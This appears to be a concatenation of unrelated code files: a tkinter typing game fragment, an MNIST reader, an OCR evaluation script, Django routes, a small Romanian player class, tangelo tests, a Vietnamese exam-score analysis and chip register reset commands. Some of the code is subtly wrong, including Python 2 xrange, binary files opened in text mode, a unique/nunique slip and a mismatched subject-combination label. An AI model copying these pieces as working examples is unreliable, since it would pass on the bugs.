wordLabel = Label(root,text=words[0],font=('airal',40,'italic bold'),bg='white')
wordLabel.place(x=350,y=200)
scoreLabel = Label(root,text='Your Score :',font=('airal',25,'italic bold'),bg='yellow',fg='black')
scoreLabel.place(x=10,y=100)
scoreLabelCount = Label(root,text=score,font=('airal',25,'italic bold'),bg='yellow',fg='black')
scoreLabelCount.place(x=80,y=180)
timerLabel = Label(root,text='Time Left',font=('airal',25,'italic bold'),bg='yellow',fg='black')
timerLabel.place(x=600,y=100)
timeLabelCount = Label(root,text=timeleft,font=('airal',25,'italic bold'),bg='yellow',fg='black')
timeLabelCount.place(x=680,y=180)
gamePlayDetails = Label(root,text = 'Type word and hit Enter Button',font=('airal',30,'italic bold'),bg='yellow',fg='black')
gamePlayDetails.place(x=120,y=450)
#ENTRY METHOD
wordEntry = Entry(root, font=('airal',25,'italic bold'),bd=10,justify='center')
wordEntry.place(x=250,y=300)
wordEntry.focus_set()
root.bind('<Return>',startGame)
root.mainloop() |
"""
@author : arjun-krishna
@desc : Read the byte encoded MNIST data in Lecun's page
"""
from __future__ import print_function
import struct
import numpy as np
from PIL import Image
"""
display flattended image with (r,c) dimension
"""
def display_img(img, r, c, file=None) :
img = img.reshape(r,c)
disp = Image.fromarray(img)
if file :
disp.save(file)
else :
disp.show()
"""
output : List of flattended images
"""
def extract_data(filename) :
print ('Extracting data from', filename.split('/')[-1])
print ('-------------------------------------------------')
data = []
with open(filename, 'r') as bytestream :
MAGIC_NUM = struct.unpack('>i', bytestream.read(4))[0]
NUM_IMAGES = struct.unpack('>i', bytestream.read(4))[0]
NUM_ROW = struct.unpack('>i', bytestream.read(4))[0]
NUM_COL = struct.unpack('>i', bytestream.read(4))[0]
print ('Number of Images : ', NUM_IMAGES)
for i in xrange(NUM_IMAGES) :
mssg = "Loading [{0:0.2f}%]".format(float((i+1)*100)/NUM_IMAGES)
clear = "\b"*(len(mssg))
print(mssg, end="")
buf = bytestream.read(NUM_ROW*NUM_COL)
img = np.frombuffer(buf, dtype=np.uint8)
# img = img.reshape(NUM_ROW, NUM_COL)
data.append(img)
print(clear, end="")
print ('\nExtraction Completed!')
print ('-------------------------------------------------')
return data
"""
output : List of labels
"""
def extract_labels(filename) :
print ('Extracting Labels from', filename.split('/')[-1])
print ('-------------------------------------------------')
data = []
with open(filename, 'r') as bytestream :
MAGIC_NUM = struct.unpack('>i', bytestream.read(4))[0]
NUM_ITEMS = struct.unpack('>i', bytestream.read(4))[0]
print ('Number of Items : ', NUM_ITEMS)
for i in xrange(NUM_ITEMS) :
mssg = "Loading [{0:0.2f}%]".format(float((i+1)*100)/NUM_ITEMS)
clear = "\b"*(len(mssg))
print(mssg, end="")
label = struct.unpack('>B', bytestream.read(1))[0]
data.append(label)
print(clear, end="")
print ('\nExtraction Completed!')
print ('-------------------------------------------------')
return data
|
import os
import time
import string
import argparse
import random
import re
import torch
import torch.backends.cudnn as cudnn
import torch.utils.data
import torch.nn as nn
import torchvision
import numpy as np
import pandas as pd
from nltk.metrics.distance import edit_distance
from utils import CTCLabelConverter, AttnLabelConverter, Averager
from dataset import hierarchical_dataset, AlignCollate
from model import Model
from modules.film import FiLMGen
from SEVN_gym.envs.utils import convert_street_name, convert_house_numbers, convert_house_vec_to_ints
from load_ranges import get_random, get_sequence
def int_distance(num, gt_num):
num = re.sub("[^0-9]", "", num)
try:
num = int(num)
except:
num = 0
distance = np.abs(num - int(gt_num))
return distance
def benchmark_all_eval(model, criterion, converter, opt, calculate_infer_time=False):
""" evaluation with 10 benchmark evaluation datasets """
# The evaluation datasets, dataset order is same with Table 1 in our paper.
eval_data_list = ['IIIT5k_3000', 'SVT', 'IC03_860', 'IC03_867', 'IC13_857',
'IC13_1015', 'IC15_1811', 'IC15_2077', 'SVTP', 'CUTE80']
if calculate_infer_time:
evaluation_batch_size = 1 # batch_size should be 1 to calculate the GPU inference time per image.
else:
evaluation_batch_size = opt.batch_size
list_accuracy = []
total_forward_time = 0
total_evaluation_data_number = 0
total_correct_number = 0
print('-' * 80)
for eval_data in eval_data_list:
eval_data_path = os.path.join(opt.eval_data, eval_data)
AlignCollate_evaluation = AlignCollate(imgH=opt.imgH, imgW=opt.imgW, keep_ratio_with_pad=opt.PAD)
eval_data = hierarchical_dataset(root=eval_data_path, opt=opt)
evaluation_loader = torch.utils.data.DataLoader(
eval_data, batch_size=evaluation_batch_size,
shuffle=False,
num_workers=int(opt.workers),
collate_fn=AlignCollate_evaluation, pin_memory=True)
_, accuracy_by_best_model, norm_ED_by_best_model, int_dist_by_best_model, _, _, infer_time, length_of_data = validation(
model, criterion, evaluation_loader, converter, opt)
list_accuracy.append(f'{accuracy_by_best_model:0.3f}')
total_forward_time += infer_time
total_evaluation_data_number += len(eval_data)
total_correct_number += accuracy_by_best_model * length_of_data
print('Acc %0.3f\t normalized_ED %0.3f\t int_distance %0.3f' % (accuracy_by_best_model, norm_ED_by_best_model, int_dist_by_best_model))
print('-' * 80)
averaged_forward_time = total_forward_time / total_evaluation_data_number * 1000
total_accuracy = total_correct_number / total_evaluation_data_number
params_num = sum([np.prod(p.size()) for p in model.parameters()])
evaluation_log = 'accuracy: '
for name, accuracy in zip(eval_data_list, list_accuracy):
evaluation_log += f'{name}: {accuracy}\t'
evaluation_log += f'total_accuracy: {total_accuracy:0.3f}\t'
evaluation_log += f'averaged_infer_time: {averaged_forward_time:0.3f}\t# parameters: {params_num/1e6:0.3f}'
print(evaluation_log)
with open(f'./result/{opt.experiment_name}/log_all_evaluation.txt', 'a') as log:
log.write(evaluation_log + '\n')
return None
def validation(model, criterion, evaluation_loader, converter, opt, eval_data=None, film_gen=None, output_dir=None, final_eval=False):
""" validation or evaluation """
for p in model.parameters():
p.requires_grad = False
n_correct = 0
norm_ED = 0
int_dist = 0
length_of_data = 0
infer_time = 0
valid_loss_avg = Averager()
for i, (image_tensors, labels) in enumerate(evaluation_loader):
batch_size = image_tensors.size(0)
length_of_data = length_of_data + batch_size
ids = labels
labels = [label.split("_")[0] for label in labels]
with torch.no_grad():
if torch.cuda.is_available():
image = image_tensors.cuda()
# For max length prediction
length_for_pred = torch.cuda.IntTensor([opt.batch_max_length] * batch_size)
text_for_pred = torch.cuda.LongTensor(batch_size, opt.batch_max_length + 1).fill_(0)
else:
image = image_tensors
length_for_pred = torch.IntTensor([opt.batch_max_length] * batch_size)
text_for_pred = torch.LongTensor(batch_size, opt.batch_max_length + 1).fill_(0)
text_for_loss, length_for_loss = converter.encode(labels)
start_time = time.time()
if 'CTC' in opt.Prediction:
preds = model(image, text_for_pred).log_softmax(2)
forward_time = time.time() - start_time
# Calculate evaluation loss for CTC deocder.
preds_size = torch.IntTensor([preds.size(1)] * batch_size)
preds = preds.permute(1, 0, 2) # to use CTCloss format
cost = criterion(preds, text_for_loss, preds_size, length_for_loss)
# Select max probabilty (greedy decoding) then decode index to character
_, preds_index = preds.max(2)
preds_index = preds_index.transpose(1, 0).contiguous().view(-1)
preds_str = converter.decode(preds_index.data, preds_size.data)
else:
num_hn = 5
num_ed_text = 20
cond_house_numbers = [get_random(int(img_id.split("_")[0]), img_id.split("_")[1], num_hn) for img_id in ids]
ed_text = [get_random(int(img_id.split("_")[0]), img_id.split("_")[1], num_ed_text) for img_id in ids]
cond_house_numbers = [convert_house_numbers(n) for l in cond_house_numbers for n in l]
cond_house_numbers = torch.FloatTensor(cond_house_numbers)
if torch.cuda.is_available():
cond_text = cond_house_numbers.view(-1, num_hn * 40).cuda()
else:
cond_text = cond_house_numbers.view(-1, num_hn * 40)
cond_params = []
if opt.apply_film:
cond_params.append(film_gen(cond_text))
preds = model(image, text_for_pred, cond_params, is_train=False)
forward_time = time.time() - start_time
preds = preds[:, :text_for_loss.shape[1] - 1, :]
target = text_for_loss[:, 1:] # without [GO] Symbol
cost = criterion(preds.contiguous().view(-1, preds.shape[-1]), target.contiguous().view(-1))
# select max probabilty (greedy decoding) then decode index to character
_, preds_index = preds.max(2)
preds_str = converter.decode(preds_index, length_for_pred)
labels = converter.decode(text_for_loss[:, 1:], length_for_loss)
infer_time += forward_time
valid_loss_avg.add(cost)
j = 0
# Get conditioning text
cts = []
for k in range(cond_text.size(0)):
cts.append(convert_house_vec_to_ints(cond_text[k].cpu().numpy()))
# calculate accuracy and record results
for pred, gt, text, ct in zip(preds_str, labels, ed_text, cts):
if 'Attn' in opt.Prediction:
pred = pred[:pred.find('[s]')] # prune after "end of sentence" token ([s])
gt = gt[:gt.find('[s]')]
if opt.ed_condition:
text = [str(num) for num in text]
if gt not in text:
text[0] = gt
random.shuffle(text)
distances = {}
for word in text:
d = edit_distance(word, pred)
distances[word] = d
pred = min(distances, key=distances.get)
if pred == gt:
n_correct += 1
if final_eval:
torchvision.utils.save_image(image[j].view(32, 100), f"{output_dir}/{i * batch_size + j}.png", normalize=True, range=(0, 1))
with open(f'{output_dir}/log_final.txt', 'a') as log_final:
log_final.write(f'sample: {i * batch_size + j},' + \
f' gt: {gt},' f' pred: {pred}, ' + f' ct: {ct},' f' was_correct: {pred == gt}\n')
norm_ED += edit_distance(pred, gt) / len(gt)
int_dist += int_distance(pred, gt)
j += 1
accuracy = n_correct / float(length_of_data) * 100
return valid_loss_avg.val(), accuracy, norm_ED, int_dist, preds_str, labels, infer_time, length_of_data
def test(opt):
""" model configuration """
if 'CTC' in opt.Prediction:
converter = CTCLabelConverter(opt.character)
else:
converter = AttnLabelConverter(opt.character)
opt.num_class = len(converter.character)
if opt.rgb:
opt.input_channel = 3
model = Model(opt)
print('model input parameters', opt.imgH, opt.imgW, opt.num_fiducial, opt.input_channel, opt.output_channel,
opt.hidden_size, opt.num_class, opt.batch_max_length, opt.Transformation, opt.FeatureExtraction,
opt.SequenceModeling, opt.Prediction)
model = torch.nn.DataParallel(model)
if torch.cuda.is_available():
model = model.cuda()
# load model
print('loading pretrained model from %s' % opt.saved_model)
model.load_state_dict(torch.load(opt.saved_model))
film_gen = FiLMGen(input_dim=200, emb_dim=1000, cond_feat_size=18944)
if torch.cuda.is_available():
film_gen = film_gen.cuda()
if opt.apply_film:
film_gen.load_state_dict(torch.load(f'./{"/".join(opt.saved_model.split("/")[:-1])}/best_accuracy_film_gen.pth'))
# print(model)
""" keep evaluation model and result logs """
os.makedirs(f'./result/{opt.experiment_name}', exist_ok=True)
os.makedirs(f'./result/{opt.experiment_name}/correct', exist_ok=True)
os.makedirs(f'./result/{opt.experiment_name}/incorrect', exist_ok=True)
os.system(f'cp {opt.saved_model} ./result/{opt.experiment_name}/')
""" setup loss """
if 'CTC' in opt.Prediction:
criterion = torch.nn.CTCLoss(zero_infinity=True).cuda()
else:
criterion = torch.nn.CrossEntropyLoss(ignore_index=0).cuda() # ignore [GO] token = ignore index 0
""" evaluation """
model.eval()
if opt.benchmark_all_eval: # evaluation with 10 benchmark evaluation datasets
benchmark_all_eval(model, criterion, converter, opt)
else:
AlignCollate_evaluation = AlignCollate(imgH=opt.imgH, imgW=opt.imgW, keep_ratio_with_pad=opt.PAD)
eval_data = hierarchical_dataset(root=opt.eval_data, opt=opt)
evaluation_loader = torch.utils.data.DataLoader(
eval_data, batch_size=opt.batch_size,
shuffle=False,
num_workers=int(opt.workers),
collate_fn=AlignCollate_evaluation, pin_memory=True)
_, accuracy_by_best_model, norm_ED, int_dist, _, _, _, _ = validation(
model, criterion, evaluation_loader, converter, opt, eval_data, film_gen=film_gen)
print(accuracy_by_best_model)
with open('./result/{0}/log_evaluation.txt'.format(opt.experiment_name), 'w') as log:
log.write(str(accuracy_by_best_model) + '\n')
log.write(str(norm_ED) + '\n')
log.write(str(int_dist) + '\n')
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument('--eval_data', required=True, help='path to evaluation dataset')
parser.add_argument('--experiment_name', required=True, help='Experiment name')
parser.add_argument('--benchmark_all_eval', action='store_true', help='evaluate 10 benchmark evaluation datasets')
parser.add_argument('--workers', type=int, help='number of data loading workers', default=4)
parser.add_argument('--batch_size', type=int, default=192, help='input batch size')
parser.add_argument('--saved_model', required=True, help="path to saved_model to evaluation")
""" Data processing """
parser.add_argument('--batch_max_length', type=int, default=25, help='maximum-label-length')
parser.add_argument('--imgH', type=int, default=32, help='the height of the input image')
parser.add_argument('--imgW', type=int, default=100, help='the width of the input image')
parser.add_argument('--rgb', action='store_true', help='use rgb input')
parser.add_argument('--character', type=str, default='0123456789abcdefghijklmnopqrstuvwxyz', help='character label')
parser.add_argument('--sensitive', action='store_true', help='for sensitive character mode')
parser.add_argument('--PAD', action='store_true', help='whether to keep ratio then pad for image resize')
""" Model Architecture """
parser.add_argument('--Transformation', type=str, required=True, help='Transformation stage. None|TPS')
parser.add_argument('--FeatureExtraction', type=str, required=True, help='FeatureExtraction stage. VGG|RCNN|ResNet')
parser.add_argument('--SequenceModeling', type=str, required=True, help='SequenceModeling stage. None|BiLSTM')
parser.add_argument('--Prediction', type=str, required=True, help='Prediction stage. CTC|Attn')
parser.add_argument('--num_fiducial', type=int, default=20, help='number of fiducial points of TPS-STN')
parser.add_argument('--input_channel', type=int, default=1, help='the number of input channel of Feature extractor')
parser.add_argument('--output_channel', type=int, default=512,
help='the number of output channel of Feature extractor')
parser.add_argument('--hidden_size', type=int, default=256, help='the size of the LSTM hidden state')
parser.add_argument('--ed_condition', action="store_true", help='Matching')
parser.add_argument('--seed', type=int, default=0, help='random seed')
parser.add_argument('--apply_film', action="store_true", help='Apply film to the')
opt = parser.parse_args()
""" vocab / character number configuration """
if opt.sensitive:
opt.character = string.printable[:-6] # same with ASTER setting (use 94 char).
cudnn.benchmark = True
cudnn.deterministic = True
opt.num_gpu = torch.cuda.device_count()
random.seed(opt.seed)
test(opt)
|
from django.urls import path
from . import views
driver_detail = views.DriverViewSet.as_view({
'get': 'retrieve',
'put': 'update',
'patch': 'partial_update',
'delete': 'destroy'
})
storage_detail = views.OrderViewset.as_view({
'get': 'retrieve',
'put': 'update',
'patch': 'partial_update',
'delete': 'destroy'
}
)
urlpatterns=[
path('drivers/', views.DriverListView.as_view()),
path('driver/<int:pk>/', driver_detail),
path('order/', views.OrderCreateView.as_view()),
path('client/', views.YoungListView.as_view()),
path('orders/', views.OrderListView.as_view()),
path('order-list/', views.DriverOrderView.as_view()),
path('week/', views.WeekDayOrderView.as_view()),
path('top/', views.TopCategoryView.as_view()),
path('storage_client/', views.StorageClientView.as_view()),
path('new-driver/', views.DriverCreateView.as_view()),
path('delete-driver/<int:pk>/', views.DriverDeleteView.as_view()),
path('storage/', views.StorageView.as_view()),
path('report/', views.ToFabricTrashView.as_view()),
path('add_order/', views.OrderStorageCreateView.as_view()),
path('category/', views.CategoryView.as_view()),
path('delete-order/<int:pk>', storage_detail),
path('total_storage/', views.TotalStorageView.as_view()),
path('add_client/', views.ClientView.as_view()),
path('logout/', views.Logout.as_view()),
path('clients/', views.Client1View.as_view())
]
|
'''
Created on Jan 22, 2018
@author: PATI
'''
class Jucator(object):
'''
Clasa jucator retine pt un jucator un nume un prenume o inaltime si un post
'''
def __init__(self, nume,prenume,inaltime,post):
'''
initializam campul nume prenume inaltime si post cu valorile corespunzatoare
'''
self.__nume=nume
self.__prenume=prenume
self.__inaltime=inaltime
self.__post=post
"""
Functia returneaza nume
"""
def get_nume(self):
return self.__nume
"""
Functia returneaza prenumele
"""
def get_prenume(self):
return self.__prenume
"""
Functia returneaza inaltimea
"""
def get_inaltime(self):
return self.__inaltime
"""
Functia returneaza postul
"""
def get_post(self):
return self.__post
"""
Functia returneaza inaltimea
"""
def set_inaltime(self, value):
self.__inaltime = value
"""
Functia returneaza daca doi jucatori sunt egali
"""
def __eq__(self,other):
return isinstance(self, other.__class__) and self.get_nume()==other.get_nume() and self.get_prenume()==other.get_prenume()
"""
Functia returneaza stringul corespunzator unui jucator
"""
def __str__(self):
return str(self.get_nume())+" "+str(self.get_prenume())+" "+str(self.get_inaltime())+" "+str(self.get_post())
|
import os
import nose
import requests
import fixture
from tangelo.server import Content
from tangelo.server import Directive
cwd = os.getcwd()
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_closed_source():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=1)).json()
print analysis
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.File
assert analysis["content"]["path"] is None
assert analysis["content"]["pargs"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_open_source():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=2)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.File
assert analysis["content"]["path"] == fixture.relative_path("tests/web/analyze-url/open.py")
assert analysis["content"]["pargs"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_closed_config():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=3)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.File
assert analysis["content"]["path"] is None
assert analysis["content"]["pargs"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_open_nonconfig():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=4)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.File
assert analysis["content"]["path"] == fixture.relative_path("tests/web/analyze-url/standalone.yaml")
assert analysis["content"]["pargs"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_directory():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=6)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.Directory
assert analysis["content"]["path"] == fixture.relative_path("tests/web/analyze-url/")
assert analysis["content"]["pargs"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_redirect_directory():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=7)).json()
assert analysis["directive"] is not None
assert analysis["directive"]["type"] == Directive.HTTPRedirect
assert analysis["directive"]["argument"] == "/analyze-url/"
assert analysis["content"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_redirect_index():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=8)).json()
assert analysis["directive"] is not None
assert analysis["directive"]["type"] == Directive.InternalRedirect
assert analysis["directive"]["argument"] == "/analyze-url/has-index/index.html"
assert analysis["content"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_list_plugins():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=9)).json()
assert analysis["directive"] is not None
assert analysis["directive"]["type"] == Directive.ListPlugins
assert analysis["directive"]["argument"] is None
assert analysis["content"] is None
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_service():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=10)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.Service
assert analysis["content"]["path"] == fixture.relative_path("tests/web/analyze-url/analyze-url.py")
assert analysis["content"]["pargs"] == ["1", "2", "3"]
@nose.with_setup(fixture.start_tangelo, fixture.stop_tangelo)
def test_not_found():
analysis = requests.get(fixture.url("analyze-url/analyze-url", test=11)).json()
assert analysis["directive"] is None
assert analysis["content"] is not None
assert analysis["content"]["type"] == Content.NotFound
assert analysis["content"]["path"] == "/analyze-url/doesnt-exist.html"
assert analysis["content"]["pargs"] is None
|
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
def plot(x):
if type(x) is list:
for i in x:
plt.plot(i, label=i.index.name)
plt.xticks(np.arange(0, 30.25, 0.25))
else:
plt.plot(x, label=x.index.name)
plt.xticks(x.index)
plt.legend()
plt.show()
def diem_theo_mon(df):
# Phổ điểm theo môn
van = df.groupby(['Van'])['SBD'].nunique()
toan = df.groupby(['Toan'])['SBD'].nunique()
dia = df.groupby(['Dia'])['SBD'].nunique()
gdcd = df.groupby(['GDCD'])['SBD'].nunique()
hoa = df.groupby(['Hoa'])['SBD'].unique()
li = df.groupby(['Ly'])['SBD'].nunique()
sinh = df.groupby(['Sinh'])['SBD'].nunique()
su = df.groupby(['Su'])['SBD'].nunique()
anh = df.groupby(['Anh'])['SBD'].nunique()
van_normalize = van.groupby(np.rint(van.index*4)/4).sum()
return van, toan, dia, gdcd, hoa, li, sinh, su, anh, van_normalize
def diem_theo_to_hop(df):
# Phổ điểm theo tổ hợp môn
df['A00'] = round(df['Toan'] + df['Ly'] + df['Hoa'], 2)
df['A01'] = round(df['Toan'] + df['Ly'] + df['Anh'], 2)
df['A02'] = round(df['Toan'] + df['Ly'] + df['Sinh'], 2)
df['B00'] = round(df['Toan'] + df['Ly'] + df['Dia'], 2)
df['C00'] = round(df['Van'] + df['Su'] + df['Dia'], 2)
df['C01'] = round(df['Van'] + df['Toan'] + df['Ly'], 2)
df['C02'] = round(df['Van'] + df['Toan'] + df['Hoa'], 2)
df['C04'] = round(df['Toan'] + df['Van'] + df['Dia'], 2)
df['C19'] = round(df['Van'] + df['Su'] + df['GDCD'], 2)
df['C20'] = round(df['Van'] + df['GDCD'] + df['Dia'], 2)
df['D01-6'] = round(df['Van'] + df['Toan'] + df['Anh'], 2)
df['D07'] = round(df['Toan'] + df['Hoa'] + df['Anh'], 2)
df['D14'] = round(df['Van'] + df['Su'] + df['Anh'], 2)
df['D15'] = round(df['Van'] + df['Anh'] + df['Dia'], 2)
A00 = df.groupby(['A00'])['SBD'].nunique()
A01 = df.groupby(['A01'])['SBD'].nunique()
A02 = df.groupby(['A02'])['SBD'].nunique()
B00 = df.groupby(['B00'])['SBD'].nunique()
C00 = df.groupby(['C00'])['SBD'].nunique()
C01 = df.groupby(['C01'])['SBD'].nunique()
C02 = df.groupby(['C02'])['SBD'].nunique()
C04 = df.groupby(['C04'])['SBD'].nunique()
C19 = df.groupby(['C19'])['SBD'].nunique()
C20 = df.groupby(['C20'])['SBD'].nunique()
D01_6 = df.groupby(['D01-6'])['SBD'].nunique()
D07 = df.groupby(['D07'])['SBD'].nunique()
D14 = df.groupby(['D14'])['SBD'].nunique()
D15 = df.groupby(['D15'])['SBD'].nunique()
return A00, A01, A02, B00, C00, C01, C02, C04, C19, C20, D01_6, D07, D14, D15
def cdf(x):
# Tính hàm phân phối tích lũy
cdf = x.cumsum()
return cdf
d21 = pd.read_csv('diem2021.csv')
d20 = pd.read_csv('diem2020.csv')
print(d21)
van, toan, dia, gdcd, hoa, li, sinh, su, anh, van_normalize = diem_theo_mon(d21)
A00, A01, A02, B00, C00, C01, C02, C04, C19, C20, D01_6, D07, D14, D15 = diem_theo_to_hop(d21)
A00_, A01_, A02_, B00_, C00_, C01_, C02_, C04_, C19_, C20_, D01_6_, D07_, D14_, D15_ = diem_theo_to_hop(d20)
d21['A'] = round((d21['Toan']*2 + d21['Anh']*2 + d21['Ly'])*3/5, 2)
d21['B'] = round((d21['Toan']*2 + d21['Ly']*2 + d21['Hoa'])*3/5, 2)
d21['2021'] = pd.DataFrame(np.where(d21['A'] > d21['B'], d21['A'], d21['B']))
cn8_21 = d21.groupby(['2021'])['SBD'].nunique()
d20['A'] = round((d20['Toan']*2 + d20['Anh']*2 + d20['Ly'])*3/5, 2)
d20['B'] = round((d20['Toan']*2 + d20['Ly']*2 + d20['Hoa'])*3/5, 2)
d20['2020'] = pd.DataFrame(np.where(d20['A'] > d20['B'], d20['A'], d20['B']))
cn8_20 = d20.groupby(['2020'])['SBD'].nunique()
cdf1 = cdf(cn8_21)
cdf2 = cdf(cn8_20)
# plot([cdf1, cdf2])
print(cn8_21.sum())
for i in cdf1.items():
print(i)
# print((cn8_21.sum()))
# result_index = cdf1.sub(cdf2[27]).abs().sort_values()
# print(cdf1[result_index.idxmin()])
# print(result_index) |
bringup jspec write pechip[0] register pg_cxlmacpcs misc_cfg misc_reset 0x00000000
bringup jspec write pechip[0] register pg_cxlmacpcs misc_cfg misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 0 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 1 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 2 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_chmac 3 chan_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_cxlmacpcs intr status 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_xgmacpcs xgmacpcs_misc misc_reset 0x00000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 0 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 1 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 2 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 3 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 4 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 5 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 6 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 7 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 8 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 9 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 10 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 11 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 12 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 13 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 14 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 15 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 16 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 17 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 18 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 19 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 20 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 21 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 22 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 23 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 24 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 25 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 26 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 27 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 28 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 29 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 30 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 31 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 32 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 33 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 34 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 35 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 36 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 37 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 38 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 39 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 40 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 41 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 42 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 43 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 44 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 45 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 46 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 47 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 48 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 49 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 50 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 51 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 52 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 53 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 54 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 55 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 56 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 57 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 58 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 59 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 60 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 61 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 62 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 63 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 64 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 65 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 66 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 67 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 68 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 69 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 70 0x000000000
bringup jspec write pechip[0] register pg_core fctl rx_cal 71 0x000000000
